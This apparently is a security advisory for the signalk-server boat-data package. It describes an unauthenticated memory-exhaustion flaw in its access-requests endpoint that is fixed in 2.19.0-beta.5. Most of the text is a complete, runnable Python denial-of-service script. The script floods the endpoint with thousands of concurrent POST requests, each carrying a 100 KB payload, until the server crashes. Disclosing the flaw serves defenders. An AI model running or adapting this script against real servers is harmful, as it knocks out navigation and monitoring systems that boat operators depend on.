Allocation of Resources Without Limits or Throttling Affecting signalk-server package, versions <2.19.0-beta.5

signalk-server is an An implementation of a Signal K server for boats.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the /signalk/v1/access/requests endpoint. An attacker can cause the server to exhaust memory resources and crash by sending a large number of unauthenticated POST requests containing large payloads.

import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')
        
        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()
        
        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

• GitHub Commit
• GitHub Release